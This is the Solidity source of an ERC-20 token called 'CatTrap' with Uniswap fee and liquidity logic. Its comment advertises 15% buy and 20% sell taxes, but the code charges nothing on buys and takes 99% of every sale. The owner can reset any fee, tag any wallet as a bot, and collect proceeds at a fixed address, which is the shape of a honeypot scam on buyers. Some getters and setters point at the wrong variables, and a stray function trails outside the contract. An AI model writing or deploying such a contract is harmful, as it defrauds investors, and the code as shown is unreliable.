contract CatTrap is Context,IERC20, Ownable{
    using Address for address;

    string private _name = "CatTrap";
    string private _symbol = "CTRAP";
    uint8 private _decimals = 18;
    uint256 totalFeeFortx = 0;
      uint256 maxWalletTreshold = 20;
    uint256 maxTxTreshold = 20;
    uint256 private swapTreshold =2;

    uint256 private currentThreshold = 20; //Once the token value goes up this number can be decreased (To reduce price impact on asset)
    uint256 private _totalSupply = (100000000 * 10**4) * 10**_decimals; //1T supply
    uint256 public requiredTokensToSwap = _totalSupply * swapTreshold /1000;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _excludedFromFees;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public automatedMarketMakerPairs;
    address _owner;
    address payable public marketingAddress = payable(0x312AFA572bc16E63029f969b644E0EC3d1C6F6BA);
    address payable public prizePoolAddress = payable(0x312AFA572bc16E63029f969b644E0EC3d1C6F6BA);
    uint256 maxWalletAmount = _totalSupply*maxWalletTreshold/100; // starting 3%
    uint256 maxTxAmount = _totalSupply*maxTxTreshold/100;
    mapping (address => bool) botWallets;
    bool botTradeEnabled = true;
    bool checkWalletSize = true;
    mapping (address => bool) private _liquidityHolders;
    mapping (address => bool) private presaleAddresses;
    //15% buy tax 20% sell tax

    uint256 private buyliqFee = 0; //3
    uint256 private buyprevLiqFee = 0;
    uint256 private buymktFee = 0;//3
    uint256 private buyPrevmktFee = 0;
    uint256 private buyprizePool = 0;//1
    uint256 private buyprevPrizePool = 0;
    uint256 GoldenDaycooldown = 0;

    
    uint256 private sellliqFee = 95;
    uint256 private sellprevLiqFee = 95;
    uint256 private sellmktFee = 4;
    uint256 private sellPrevmktFee = 4;
    uint256 private sellprizePool = 0;
    uint256 private sellprevPrizePool = 0;


    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 private mktTokens = 0;
    uint256 private prizepoolTokens = 0;
    uint256 private liqTokens = 0;

    
    event SwapAndLiquify(uint256 tokensSwapped,
		uint256 ethReceived,
		uint256 tokensIntoLiquidity
	);
    event tokensSwappedDuringTokenomics(uint256 amount);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    
    // 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
    IUniswapV2Router02 _router;
    address public uniswapV2Pair;

    //Balances tracker

    modifier lockTheSwap{
		inSwapAndLiquify = true;
		_;
		inSwapAndLiquify = false;
	}
    

    constructor(){
        _balances[_msgSender()] = _totalSupply;
        //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D mainnet and all networks
        IUniswapV2Router02 _uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        uniswapV2Pair = IUniswapV2Factory(_uniRouter.factory())
            .createPair(address(this), _uniRouter.WETH());
        
        _excludedFromFees[owner()] = true;         
        _excludedFromFees[address(this)] = true;// exclude owner and contract instance from fees
        _router = _uniRouter;
        _liquidityHolders[address(_router)] = true;
        _liquidityHolders[owner()] = true;
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        emit Transfer(address(0),_msgSender(),_totalSupply);




    }
    receive() external payable{}


    //general token data and tracking of balances to be swapped.
    function getOwner()external view returns(address){
            return owner();
    }
    function currentmktTokens() external view returns (uint256){
            return mktTokens;
     }
     function currentPZTokens() external view returns (uint256){
            return prizepoolTokens;
     }
     function currentLiqTokens() external view returns (uint256){
            return liqTokens;
     }

     function totalSupply() external view override returns (uint256){
            return _totalSupply;
     }
   
    function balanceOf(address account) public view override returns (uint256){
        return _balances[account];
    }
   
    function transfer(address recipient, uint256 amount) external override returns (bool){
            _transfer(_msgSender(),recipient,amount);
            return true;

    }
   
    function allowance(address owner, address spender) external view override returns (uint256){
            return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) external override returns (bool){
            _approve(_msgSender(),spender,amount);
            return true;
    }

    function decimals()external view returns(uint256){
        return _decimals;
    }
    function name() external view returns (string memory) {
		return _name;
	}
    function symbol() external view returns (string memory){
        return _symbol;
    }
        function updateMaxTxTreshold(uint256 newVal) public onlyOwner{
        maxTxTreshold = newVal;
        maxTxAmount = _totalSupply*maxTxTreshold/100;// 1%

    }
     function updateMaxWalletTreshold(uint256 newVal) public onlyOwner{
        maxWalletTreshold = newVal;
        maxWalletAmount = _totalSupply*maxWalletTreshold/100;

    }
    

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool){
        require(amount <= _allowances[sender][_msgSender()], "BEP20: transfer amount exceeds allowance");
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
		return true;
    }



    //Tokenomics related functions
    
    function goldenDay() public onlyOwner{
         require(block.timestamp > GoldenDaycooldown, "You cant call golden Day more than once per day");
         buyPrevmktFee = buymktFee;
         buyprevLiqFee = buyliqFee;
         buyprevPrizePool = buyprizePool;
         
         buyliqFee = 0;
         buymktFee = 0;
         buyprizePool = 0;
    }
    function goldenDayOver() public onlyOwner{
         buyliqFee = buyprevLiqFee;
         buymktFee = buyPrevmktFee;
         buyprizePool = buyprevPrizePool;
         GoldenDaycooldown = block.timestamp + 86400;
    }

    function addBotWallet (address payable detectedBot, bool isBot) public onlyOwner{
        botWallets[detectedBot] = isBot;
    }
    function currentbuyliqFee() public view returns (uint256){
            return buyliqFee;
    }
    function currentbuymktfee() public view returns (uint256){
            return buymktFee;
    }
    function currentbuyprizepoolfee() public view returns (uint256){
            return buymktFee;
    }

      function currentsellLiqFee() public view returns (uint256){
            return sellliqFee;
    }
    function currentsellmktfee() public view returns (uint256){
            return sellmktFee;
    }
    function currentsellyprizepoolfee() public view returns (uint256){
            return sellprizePool;
    }
    function currentThresholdInt()public view returns (uint256){
        return currentThreshold;
    }
    function isExcluded(address toCheck)public view returns (bool){
            return _excludedFromFees[toCheck];
    }

    function _transfer(address from, address to, uint256 amount) internal{
        require(from != address(0), "BEP20: transfer from the zero address");
		require(to != address(0), "BEP20: transfer to the zero address");
        require(amount > 0,"BEP20: transfered amount must be greater than zero");
        uint256 senderBalance = _balances[from];
        require(senderBalance >= amount, "BEP20: transfer amount exceeds balance");
        if(_liquidityHolders[to]==false && _liquidityHolders[from]==false){
        require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }
        uint256 inContractBalance = balanceOf(address(this));

        if(inContractBalance >=requiredTokensToSwap && 
			!inSwapAndLiquify && 
			from != uniswapV2Pair && 
			swapAndLiquifyEnabled){
                if(inContractBalance >= requiredTokensToSwap ){
                    inContractBalance = requiredTokensToSwap;
                    swapForTokenomics(inContractBalance);
                }
            }

            bool takeFees = true;
            
            
            if(_excludedFromFees[from] || _excludedFromFees[to]) {
                totalFeeFortx = 0;
                takeFees = false;
               

            }
            uint256 mktAmount = 0;
            uint256 prizePoolAmount = 0; // Amount to be added to prize pool.
		    uint256 liqAmount = 0;  // Amount to be added to liquidity.

            if(takeFees){
                
                
                //bot fees
                if(botWallets[from] == true||botWallets[to]==true){
                    totalFeeFortx = 0;
                    mktAmount = amount * 15/100;
                    liqAmount = amount * 75/100;
                    prizePoolAmount = amount * 5/100;
                    totalFeeFortx = mktAmount + liqAmount + prizePoolAmount;
                }
                //Selling fees
                if (automatedMarketMakerPairs[to] && to != address(_router) ){
                        totalFeeFortx = 0;
                        mktAmount = amount * sellmktFee/100;
                        liqAmount = amount * sellliqFee/100;
                        prizePoolAmount = amount * sellprizePool/100;
                        totalFeeFortx = mktAmount + liqAmount + prizePoolAmount;
                }
                //Buy Fees
                else if(automatedMarketMakerPairs[from] && from != address(_router)) {
                
                    totalFeeFortx = 0;
                    mktAmount = amount * buymktFee/100;
                    liqAmount = amount * buyliqFee/100;
                    prizePoolAmount = amount * buyprizePool/100;
                    totalFeeFortx = mktAmount + liqAmount + prizePoolAmount;
                }

                
            }

            _balances[from] = senderBalance - amount;
            _balances[to] += amount - mktAmount - prizePoolAmount - liqAmount;

          if(liqAmount != 0) {
			_balances[address(this)] += totalFeeFortx;
			//tLiqTotal += liqAmount;
            liqTokens += liqAmount;
            prizepoolTokens += prizePoolAmount;
            mktTokens += mktAmount;
			emit Transfer(from, address(this), totalFeeFortx);
            
		    }
            emit Transfer(from, to,amount-totalFeeFortx);
            
        
    }
    function swapForTokenomics(uint256 balanceToswap) private lockTheSwap{
        swapAndLiquify(liqTokens);
        swapTokensForETHmkt(mktTokens);
        sendToPrizePool(prizepoolTokens);
        emit tokensSwappedDuringTokenomics(balanceToswap);
        mktTokens = 0;
        prizepoolTokens = 0;
        liqTokens = 0;
    }
     function addLimitExempt(address newAddress)external onlyOwner{
        _liquidityHolders[newAddress] = true;
     
    }
    function swapTokensForETHmkt(uint256 amount)private {
        address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _router.WETH();
		_approve(address(this), address(_router), amount);

		
		_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
			amount,
			0, // Accept any amount of ETH.
			path,
			marketingAddress,
			block.timestamp
		);

    }
      function sendToPrizePool(uint256 amount)private {
      _transfer(address(this), prizePoolAddress, amount);

    }
    function swapAndLiquify(uint256 liqTokensPassed) private {
		uint256 half = liqTokensPassed / 2;
		uint256 otherHalf = liqTokensPassed - half;
		uint256 initialBalance = address(this).balance;

		swapTokensForETH(half);
		uint256 newBalance = address(this).balance - (initialBalance); 

		addLiquidity(otherHalf, newBalance);
		emit SwapAndLiquify(half,newBalance,otherHalf);
	}

    function swapTokensForETH(uint256 tokenAmount) private{
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _router.WETH();
		_approve(address(this), address(_router), tokenAmount);

		
		_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0, // Accept any amount of ETH.
			path,
			address(this),
			block.timestamp
		);
	}
    
    function addLiquidity(uint256 tokenAmount,uint256 ethAmount) private{
		_approve(address(this), address(_router), tokenAmount);

		_router.addLiquidityETH{value:ethAmount}(
			address(this),
			tokenAmount,
			0,
			0,
			deadAddress,
			block.timestamp
		);
	}

    function _approve(address owner,address spender, uint256 amount) internal{
        require(owner != address(0), "BEP20: approve from the zero address");
		require(spender != address(0), "BEP20: approve to the zero address");

		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);


    }



    //Fees related functions

    function addToExcluded(address toExclude) public onlyOwner{  
        _excludedFromFees[toExclude] = true;
    }

    function removeFromExcluded(address toRemove) public onlyOwner{
        _excludedFromFees[toRemove] = false;
    }
      function excludePresaleAddresses(address router, address presale) external onlyOwner {
        
        _liquidityHolders[address(router)] = true;
        _liquidityHolders[presale] = true;
        presaleAddresses[address(router)] = true;
        presaleAddresses[presale] = true;
       
    }

    function startPresaleStatus()public onlyOwner{
        
        buymktFee = 0;
        sellmktFee = 4;
        buyliqFee = 0;
        sellliqFee = 95;
        buyprizePool = 0;
        sellprizePool = 0;
        setSwapAndLiquify(false);

    }
    function endPresaleStatus() public onlyOwner{
        buymktFee = 0;
        buyliqFee = 0;
        buyprizePool = 0;

        sellmktFee = 4;
        sellliqFee = 95;
        sellprizePool = 0;
        setSwapAndLiquify(true);
    }

    function updateThreshold(uint newThreshold) public onlyOwner{
        currentThreshold = newThreshold;

    }

    function setSwapAndLiquify(bool _enabled) public onlyOwner{
            swapAndLiquifyEnabled = _enabled;
    }


    //Marketing related 

    function setMktAddress(address newAddress) external onlyOwner{
        marketingAddress = payable(newAddress);
    }
    function transferAssetsETH(address payable to, uint256 amount) internal{
            to.transfer(amount);
    }
    function setPrizePoolAddress(address newAddress) external onlyOwner{
        prizePoolAddress = payable(newAddress);
    }
    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }
    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }
    function updatecurrentbuyliqFee(uint256 newAmount) public onlyOwner{
            buyliqFee = newAmount;
    }
    function updatecurrentbuymktfee(uint256 newAmount) public onlyOwner{
             buymktFee= newAmount;
    }
    function updatecurrentbuyprizepoolfee(uint256 newAmount) public onlyOwner{
             buymktFee= newAmount;
    }

      function updatecurrentsellLiqFee(uint256 newAmount) public onlyOwner{
             sellliqFee= newAmount;
    }
    function updatecurrentsellmktfee(uint256 newAmount)public onlyOwner{
             sellmktFee= newAmount;
    }
    
    function updatecurrentsellyprizepoolfee(uint256 newAmount) public onlyOwner{
             sellprizePool= newAmount;
    }
        function updatecurrentsellDevfee(uint256 newAmount) public onlyOwner{
             sellprizePool= newAmount;
    }
    function currentMaxWallet() public view returns(uint256){
        return maxWalletAmount;
    }
    function currentMaxTx() public view returns(uint256){
        return maxTxAmount;
    }
    function updateSwapTreshold(uint256 newVal) public onlyOwner{
        swapTreshold = newVal;
        requiredTokensToSwap = _totalSupply*swapTreshold/1000;
        
    }
    function currentSwapTreshold() public view returns(uint256){
        return swapTreshold;
    }
    function currentTokensToSwap() public view returns(uint256){
        return requiredTokensToSwap;
    }
}
function getOwner()external view returns(address){
        return owner();
}

//general token data and tracking of balances to be swapped.